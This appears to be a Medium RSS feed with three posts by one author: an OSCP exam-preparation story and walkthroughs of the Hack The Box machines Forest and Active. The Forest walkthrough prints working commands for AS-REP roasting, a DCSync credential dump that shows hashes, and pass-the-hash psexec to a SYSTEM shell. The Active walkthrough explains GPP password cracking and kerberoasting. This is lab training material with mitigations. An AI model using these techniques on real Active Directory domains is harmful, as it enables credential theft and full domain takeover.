<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Johnny Clejel on Medium]]></title>
        <description><![CDATA[Stories by Johnny Clejel on Medium]]></description>
        <link>https://medium.com/@johnnyclejel777?source=rss-3b5f8e9b2a28------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*AVUwKNxqJgG1ao9cbab4rg.png</url>
            <title>Stories by Johnny Clejel on Medium</title>
            <link>https://medium.com/@johnnyclejel777?source=rss-3b5f8e9b2a28------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 01:35:26 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@johnnyclejel777/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[My OSCP Journey]]></title>
            <link>https://medium.com/@johnnyclejel777/my-oscp-journey-c9b4cfde80ba?source=rss-3b5f8e9b2a28------2</link>
            <guid isPermaLink="false">https://medium.com/p/c9b4cfde80ba</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Johnny Clejel]]></dc:creator>
            <pubDate>Mon, 02 Jan 2023 16:21:58 GMT</pubDate>
            <atom:updated>2023-01-02T16:21:58.284Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*8r7Jwhdp7YjL0E-5idfbDg.png" /></figure><p>Hey everybody! I&#39;m writing this right around the end of the holidays so I hope everyone has had fun enjoying their time off. This is going to be about my 1-year journey studying for the OSCP, what roadblocks I faced, and how I got over them. Skip to the TLDR for resources</p><p><strong>Getting Started</strong></p><p>I decided to go after my OSCP in November 2021 after realizing that a passion for offensive cyber and really wanted to challenge myself and see what I was able to accomplish. At first, I was really intimidated by the price tag and knew I knew the first thing about nmap or anything offensive. So I decided to go down Try hack me (THM) and learn simple things like nmap, web enumeration, etc. I think this was a good step in the right direction as it raised my confidence and I began to understand the very basics of a methodology and what to use where. I tried to do Hack The Box but I was still intimidated by the fact of doing machines on my own so I was on and off of THM for the time of November and December of 2021.</p><p><strong>Purchasing the PWK</strong></p><p>After spending some time off and on THM I decided it was time to enroll in the pwk course and start making this dream a reality. I was still very unsure of this decision but after some support from friends and family, I decided to whip out the credit card and pull the trigger. I was going through a lot of personal changes in my life so I decided to get the 1-year subscription to give myself ample time to complete the lab portion and start my lab report to get the bonus points. I went in with no study plan and this was a terrible plan. I would study for 2–3 hours for maybe a day or two out of the week and I did this until August. I do not recommend this if you are a beginner because I would forget what I studied and have to review and I was barely making progress. As I previously mentioned I was going through a lot of personal changes in my life so things were hectic. This is a very demanding certification so I do not recommend attempting this unless you can give it the focus and care it demands to pass.</p><p><strong>Actually starting the pwk</strong></p><p>I serve in the USMC reserves and I had to attend my annual training (AT) for the year, so I had 3 weeks to cool my mind off of everything and think about my life while being around some of my good buds. When I returned I pulled my pants up and I was determined to give this thing a run for its money. I developed a plan and started to dedicate 5–8 hours daily to completing the course and learning as much as I could. I recommend that you go through the course and complete the exercises. I learned a lot about the different aspects of pentesing and I finally started to gain the confidence I needed to start smashing machines. The buffer overflow portion I skipped and just learned from The cyber mentor&#39;s videos and completed the exercises. After completing the course and exercises ( which took about a month and a half) I started to hack away in the labs. I had a pretty good experience in the labs and my entire offsec experience. The discord staff are very helpful and do a good job of guiding you without hand-holding so you can figure it out for yourself. I read about the labs being outdated and Offsec Proving Grounds being a better simulation of the exam so I decided on just doing enough labs to get the bonus points, I ended up doing 32 lab machines. I was done with my lab and pwk experience around early November. I then decided to do Proving Grounds (PG) practice and I can say this was the best prep for the exam. The machines are much more OSCP-like and take some out-the-box thinking to accomplish. I did about 24 Proving grounds machines before I had to take my actual exam. I recommend going through walkthroughs/hints after being stuck for 2 hours, especially in the beginning.</p><p><strong>Exam Experience</strong></p><p>I started my exam at 5 a.m and I first wanted to take a stab at the AD portion of the exam while I was fresh. The advice I can give here is not to overcomplicate it. The foothold was fairly simple due to my having good enumeration and experience in PG. I went through the TCM’s Security Practical Ethical Hacking course and went through the PWK’s AD portion at least 3 times each. The pwk had everything you needed to get through AD and you have a good space to practice in the labs. One thing I will add is that you should learn how to tunnel traffic into an internal network. I personally love chisel. I had domain admin in about 5 hours. I was feeling confident. After returning from my break I looked at one of the standalone. The only advice here is to have a good methodology and practice in the labs and PG. I had rooted a standalone in another 3 hours. Knowing I had enough points to pass I double-checked all my notes and flags and began my report. This was the most stressful part because Offsec is very particular about how they want it done. Using the template they provided made it a bit easier. After completing the report another 8 ish hours later. I decided to spend time with my family before going into the last 2 stand-alones. I was kind of fried at this point and very stressed out so it was a bit harder to have a clear mind. I was very sure I had the initial entry point figured out but I could not get access to what I needed. I spent another 3–4 hours before I called it a day. I woke up the next day and spent another 3 hours on my report before I finally turned it in.</p><p><strong>TLDR and Resources Used</strong></p><p>Its a marathon, not a sprint — drink water and sleep well</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fh2aWYjSA1Jc%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dh2aWYjSA1Jc&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fh2aWYjSA1Jc%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/abfeba204a8f80dd4393679e68fbfbd5/href">https://medium.com/media/abfeba204a8f80dd4393679e68fbfbd5/href</a></iframe><p>Focus on Windows when practicing</p><p><a href="https://www.udemy.com/course/windows-privilege-escalation/">https://www.udemy.com/course/windows-privilege-escalation/</a></p><p>Do Proving Grounds</p><p><a href="https://www.offensive-security.com/labs/individual/">https://www.offensive-security.com/labs/individual/</a></p><p>Rinse and repeat the AD portion in PWK and do the AD sets</p><p>Learn chisel</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FSyBk6rvCQ3E%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DSyBk6rvCQ3E&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FSyBk6rvCQ3E%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/fa2784c0e0e3868b192593fc0d22bb57/href">https://medium.com/media/fa2784c0e0e3868b192593fc0d22bb57/href</a></iframe><p>…oops wrong link</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FdIqoULXmhXg%3Fstart%3D723%26feature%3Doembed%26start%3D723&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DdIqoULXmhXg&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FdIqoULXmhXg%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/3199306be830c7c9b71ce4f866f2de0a/href">https://medium.com/media/3199306be830c7c9b71ce4f866f2de0a/href</a></iframe><p>Use hints and walkthroughs at the beginning until you build up your methodology.</p><p>Do Try hack me if you are a real real beginner. Do the junior penetration and then windows priv esc and linux priv esc . After that, you can pwk imo.</p><p><a href="https://tryhackme.com/dashboard">https://tryhackme.com/dashboard</a></p><p>Buffer Overflow</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FncBblM920jw%3Fstart%3D2144%26feature%3Doembed%26start%3D2144&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DncBblM920jw&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FncBblM920jw%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/d7e8bc689933f1745899ee87118deb2d/href">https://medium.com/media/d7e8bc689933f1745899ee87118deb2d/href</a></iframe><p>Thanks for reading and cheers to you on your OSCP journey.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c9b4cfde80ba" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Forest from HTB]]></title>
            <link>https://medium.com/@johnnyclejel777/forest-from-htb-c2102c49c0fc?source=rss-3b5f8e9b2a28------2</link>
            <guid isPermaLink="false">https://medium.com/p/c2102c49c0fc</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[dcsync]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Johnny Clejel]]></dc:creator>
            <pubDate>Wed, 23 Nov 2022 21:25:15 GMT</pubDate>
            <atom:updated>2022-11-23T21:25:15.124Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*KuZ7heU77SqGepXTjI7YYA.png" /></figure><p><strong>Introduction</strong></p><p>Forest is a machine on HTB that allows users to practice ldap queries to gather active directory information to then allow us to perform an as-rep roasting attack. This will then allow us to gather valid credentials and use bloodhound to perform post-enumeration and exploitation that leads to a complete compromise using a DCSync attack.</p><p><strong>Recon</strong></p><pre>nmap -sC -sV 10.10.10.161                   <br>Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-23 09:51 EST<br>Nmap scan report for 10.10.10.161<br>Host is up (0.084s latency).<br>Not shown: 989 closed tcp ports (conn-refused)<br>PORT     STATE SERVICE      VERSION<br>53/tcp   open  domain       Simple DNS Plus<br>88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2022-11-23 14:58:31Z)<br>135/tcp  open  msrpc        Microsoft Windows RPC<br>139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn<br>389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)<br>445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)<br>464/tcp  open  kpasswd5?<br>593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0<br>636/tcp  open  tcpwrapped<br>3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)<br>3269/tcp open  tcpwrapped<br>Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>|_clock-skew: mean: 2h46m49s, deviation: 4h37m08s, median: 6m48s<br>| smb-security-mode: <br>|   account_used: guest<br>|   authentication_level: user<br>|   challenge_response: supported<br>|_  message_signing: required<br>| smb2-security-mode: <br>|   3.1.1: <br>|_    Message signing enabled and required<br>| smb2-time: <br>|   date: 2022-11-23T14:58:37<br>|_  start_date: 2022-11-23T14:41:18<br>| smb-os-discovery: <br>|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)<br>|   Computer name: FOREST<br>|   NetBIOS computer name: FOREST\x00<br>|   Domain name: htb.local<br>|   Forest name: htb.local<br>|   FQDN: FOREST.htb.local<br>|_  System time: 2022-11-23T06:58:35-08:00<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 19.64 seconds</pre><p>I like to perform smb enumeration first so let&#39;s see what comes up.</p><pre>                                                                                                                    <br>┌──(kali㉿kali)-[~/temp]<br>└─$ smbmap -H 10.10.10.161<br>[+] IP: 10.10.10.161:445        Name: 10.10.10.161                                      <br>                                                                                                                    <br>┌──(kali㉿kali)-[~/temp]<br>└─$ smbclient -L \\\\10.10.10.161\\        <br>Password for [WORKGROUP\kali]:<br>Anonymous login successful<br><br>        Sharename       Type      Comment<br>        ---------       ----      -------<br>Reconnecting with SMB1 for workgroup listing.<br>do_connect: Connection to 10.10.10.161 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)<br>Unable to connect with SMB1 -- no workgroup available</pre><p>Seems like there is nothing here. Let&#39;s move on to querying LDAP. Let’s put in a command to search for user accounts.</p><pre>└─$ ldapsearch -H ldap://10.10.10.161 -x -b DC=htb,DC=local &quot;(objectClass=person)&quot; | grep &quot;sAMAccountName:&quot;<br>sAMAccountName: Guest<br>sAMAccountName: DefaultAccount<br>sAMAccountName: FOREST$<br>sAMAccountName: EXCH01$<br>sAMAccountName: $331000-VK4ADACQNUCA<br>sAMAccountName: SM_2c8eef0a09b545acb<br>sAMAccountName: SM_ca8c2ed5bdab4dc9b<br>sAMAccountName: SM_75a538d3025e4db9a<br>sAMAccountName: SM_681f53d4942840e18<br>sAMAccountName: SM_1b41c9286325456bb<br>sAMAccountName: SM_9b69f1b9d2cc45549<br>sAMAccountName: SM_7c96b981967141ebb<br>sAMAccountName: SM_c75ee099d0a64c91b<br>sAMAccountName: SM_1ffab36a2f5f479cb<br>sAMAccountName: HealthMailboxc3d7722<br>sAMAccountName: HealthMailboxfc9daad<br>sAMAccountName: HealthMailboxc0a90c9<br>sAMAccountName: HealthMailbox670628e<br>sAMAccountName: HealthMailbox968e74d<br>sAMAccountName: HealthMailbox6ded678<br>sAMAccountName: HealthMailbox83d6781<br>sAMAccountName: HealthMailboxfd87238<br>sAMAccountName: HealthMailboxb01ac64<br>sAMAccountName: HealthMailbox7108a4e<br>sAMAccountName: HealthMailbox0659cc1<br>sAMAccountName: sebastien<br>sAMAccountName: lucinda<br>sAMAccountName: andy<br>sAMAccountName: mark<br>sAMAccountName: santi</pre><p>Now we have a list of users we can brute force. An outdated tool we can use that also enumerates AD information is enum4linux. Let’s run this tool and see what we come up with.</p><pre>Group: &#39;Domain Users&#39; (RID: 513) has member: HTB\HealthMailboxb01ac64<br>Group: &#39;Domain Users&#39; (RID: 513) has member: HTB\HealthMailbox7108a4e<br>Group: &#39;Domain Users&#39; (RID: 513) has member: HTB\HealthMailbox0659cc1<br>Group: &#39;Domain Users&#39; (RID: 513) has member: HTB\sebastien<br>Group: &#39;Domain Users&#39; (RID: 513) has member: HTB\lucinda<br>Group: &#39;Domain Users&#39; (RID: 513) has member: HTB\svc-alfresco<br>Group: &#39;Domain Users&#39; (RID: 513) has member: HTB\andy<br>Group: &#39;Domain Users&#39; (RID: 513) has member: HTB\mark<br>Group: &#39;Domain Users&#39; (RID: 513) has member: HTB\santi<br>Group: &#39;Privileged IT Accounts&#39; (RID: 1149) has member: HTB\Service Accounts<br>Group: &#39;Service Accounts&#39; (RID: 1148) has member: HTB\svc-alfresco<br>Group: &#39;Schema Admins&#39; (RID: 518) has member: HTB\Administrator<br>Group: &#39;Organization Management&#39; (RID: 1104) has member: HTB\Administrator<br>Group: &#39;Domain Admins&#39; (RID: 512) has member: HTB\Administrator<br>Group: &#39;Domain Controllers&#39; (RID: 516) has member: HTB\FOREST$<br>Group: &#39;Exchange Trusted Subsystem&#39; (RID: 1119) has member: HTB\EXCH01$</pre><p>We have discovered a new account ‘svc-alfresco.’ This is because it did not have a sam account name and is a service account. It appeared in our first LDAP search but you would have had to comb through the entire results.</p><pre>dapsearch -H ldap://10.10.10.161 -x -b DC=htb,DC=local | grep svc<br># svc-alfresco, Service Accounts, htb.local<br>dn: CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local</pre><p>So let’s try to do a brute force of the user accounts that we have found. I like to use Kerberos authentication for 3 reasons.</p><ol><li>It is much faster than other protocols</li><li>Sometimes AD does not check for Kerberos authentication</li><li>It gives more verbose errors resulting in more information</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*thQxV5ME0-ryMT6trKz0nQ.png" /></figure><p>The results provide us with info that svc-alfresco is as-rep roastable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*2iSRK6Swmk6yXgv-kP9ErQ.png" /></figure><p>Let’s try to crack it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gVgtY8u_7xIzDxUbMjs3Rw.png" /></figure><p>This provides us with a valid set of credentials. Let’s head into post-enumeration.</p><p><strong>Post-Enumeration</strong></p><p>I like to use bloodhound in active directory environments due to it handing out great attack vectors in an easy-to-digest way. Let’s use the python digest to avoid moving files back and forth on the victim.</p><pre>bloodhound-python -u svc-alfresco -p s3rvice -d htb.local -ns 10.10.10.161 </pre><p>Upon investigating attack paths from our compromised user we find this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_eK9ZoO8WIWYIwUY_dpgdg.png" /></figure><p>A quick google search of the account operator group shows the following information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*wUB08oZjgoENmxfApqjgpg.png" /></figure><p>This means we will be able to create another user and then grant it Exchange group permissions to allow a DCSync attack. In short, a DCSync attack is when we act as another domain controller and ask the victim domain controller to then hand over all of the user&#39;s hashes.</p><p>Let&#39;s remote into the machine and proceed to fully compromise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*UE9EdEwJUU1TiQsRax8now.png" /><figcaption>psexec fails so I try evilwinrm</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OO-OQgnkihnRX8TyLnfsTA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*UKxwlc-BT6V71UpBLp1Wzw.png" /></figure><p>We add the user ‘hacker’ and then add it to the Exchange group.</p><p>Upon looking at how to grant the rights I came across this article showing the NTLMx relay tool. <a href="https://www.thehacker.recipes/ad/movement/dacl/grant-rights">https://www.thehacker.recipes/ad/movement/dacl/grant-rights</a></p><p>This tool will server as a mitm between the authentication of the hacker account that I created and grant it the dcsync right when the account tries to authenticate into a service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*zuagzLLTpLP7kYDDjvdETw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*-Q_hSKCJYuNmaPvhaTNfsQ.png" /><figcaption>It will fail because I do not have smb open on my machine</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*LkOBvzHCas_Tzufz6Lx1Dw.png" /></figure><p>Then we perform the DCSync attack.</p><pre>impacket-secretsdump htb.local/hacked:ItsOver@10.10.10.161<br>Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation<br><br>[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied <br>[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)<br>[*] Using the DRSUAPI method to get NTDS.DIT secrets<br>htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::<br>Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::<br>DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>htb.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>htb.local\SM_2c8eef0a09b545acb:1124:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>htb.local\SM_ca8c2ed5bdab4dc9b:1125:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>htb.local\SM_75a538d3025e4db9a:1126:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>htb.local\SM_681f53d4942840e18:1127:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>htb.local\SM_1b41c9286325456bb:1128:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::</pre><pre>└─$ impacket-psexec htb.local/administrator@10.10.10.161 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6                   <br>Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation<br><br>[*] Requesting shares on 10.10.10.161.....<br>[*] Found writable share ADMIN$<br>[*] Uploading file PRWtxJIW.exe<br>[*] Opening SVCManager on 10.10.10.161.....<br>[*] Creating service RoEe on 10.10.10.161.....<br>[*] Starting service RoEe.....<br>[!] Press help for extra shell commands<br>Microsoft Windows [Version 10.0.14393]<br>(c) 2016 Microsoft Corporation. All rights reserved.<br><br>C:\Windows\system32&gt;whoami<br>nt authority\system</pre><p>This allows us to use the hash to then log in as admin.</p><p><strong>Mitigation</strong></p><p>Do not allow anonymous ldap queries.</p><p>Do not allow null authentication on smb shares.</p><p>Try to avoid pre-authentication on accounts and if so use a strong complex password.</p><p>Always use the rule of least privilege when creating accounts.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c2102c49c0fc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Active -HTB]]></title>
            <link>https://medium.com/@johnnyclejel777/active-htb-9a91e3588b44?source=rss-3b5f8e9b2a28------2</link>
            <guid isPermaLink="false">https://medium.com/p/9a91e3588b44</guid>
            <dc:creator><![CDATA[Johnny Clejel]]></dc:creator>
            <pubDate>Tue, 22 Nov 2022 21:35:51 GMT</pubDate>
            <atom:updated>2022-11-23T14:44:13.324Z</atom:updated>
            <content:encoded><![CDATA[<p>Active is a retired box on Hack the box. It is a fairly simple box that allows a user to practice techniques such as kerberoasting and smb enumeration.</p><p><strong>Initial Recon</strong></p><p>A basic scan shows the following ports. With port 88 open as well as 636 this is a good sign that this is a domain controller.</p><pre>88/tcp    open  kerberos-sec     syn-ack<br>135/tcp   open  msrpc            syn-ack<br>139/tcp   open  netbios-ssn      syn-ack<br>389/tcp   open  ldap             syn-ack<br>445/tcp   open  microsoft-ds     syn-ack<br>464/tcp   open  kpasswd5         syn-ack<br>593/tcp   open  http-rpc-epmap   syn-ack<br>636/tcp   open  ldapssl          syn-ack<br>3268/tcp  open  globalcatLDAP    syn-ack<br>3269/tcp  open  globalcatLDAPssl syn-ack<br>49152/tcp open  unknown          syn-ack<br>49153/tcp open  unknown          syn-ack<br>49154/tcp open  unknown          syn-ack<br>49155/tcp open  unknown          syn-ack<br>49157/tcp open  unknown          syn-ack<br>49158/tcp open  unknown          syn-ack<br>49165/tcp open  unknown          syn-ack<br><br></pre><p><strong>SMB Enumeration</strong></p><p>Whenever I see smb is open I like to use smbmap and smbclient to begin my enumeration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*qzKDd8_ajVsV_kzAHeJRdQ.png" /></figure><p>This allowed me to view which shares I have access to WITHOUT a username or password. I see that I have access to Replication share so let’s see what is inside.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*0mzNM-moAeH-K6uESnVBTg.png" /></figure><p>After Enumerating the shares we find an interesting file within</p><p><strong>\active.htb\Policies\{31B2F340–016D-11D2–945F-00C04FB984F9}\MACHINE\Preferences\groups\</strong></p><p>After retrieving the file we see the following output</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*kVrHRGn-wKf9oowCBNks6Q.png" /></figure><p>When looking closer this appears to be GPP credentials. What exactly are GPP credentials? Before MS14–025 admins were allowed to create group policies with their credentials stored inside with an encrypted key. The key was somehow released and now using kali tools you are able to crack the password. You can the result of this attack below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*z1zRDZK9eCzqx-RWJhTPHw.png" /></figure><p>So now we have a valid username and password pair , but what do we do with it?</p><p>With valid credentials we are able to see if can get any accounts that are kerberoastable. What is kerberoasting?</p><p>When you use a Active Directory service you authenticate using Kerberos, you contact the DC and tell it to which system service you want to authenticate. It encrypts a response to you with the service user’s password hash. You then send that to the desired service which then validates if you are allowed access or not.</p><p>With kerberoasting you steal the NTLM hash of the service user’s password and take it offline to crack thus providing you privileged user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*-aNVMLxUDGR9xSemx4JLUw.png" /></figure><p>We were successfully able to kerberoast the Administrator user account. Now lets try to crack the password using hashcat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uCCSm4WTAL05dYxP-ViAmQ.png" /></figure><p>Now that we have valid credentials and we see smb is open let’s psexec into the machine using the administrator account to get a working shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*kuhJy3Xln2X99p87Clj8Iw.png" /></figure><p><strong>Defenses</strong></p><p>Let’s go over some ways this attack could have been stopped. The machine could have been patched to MS14–025 and the Group Policy credentials, changed so I would not have been able to crack the password. The administrator could have also required smb authentication so I would not have been able to snoop inside shares.</p><p>That is a basic write up of the box Active from HTB and thank you for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9a91e3588b44" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>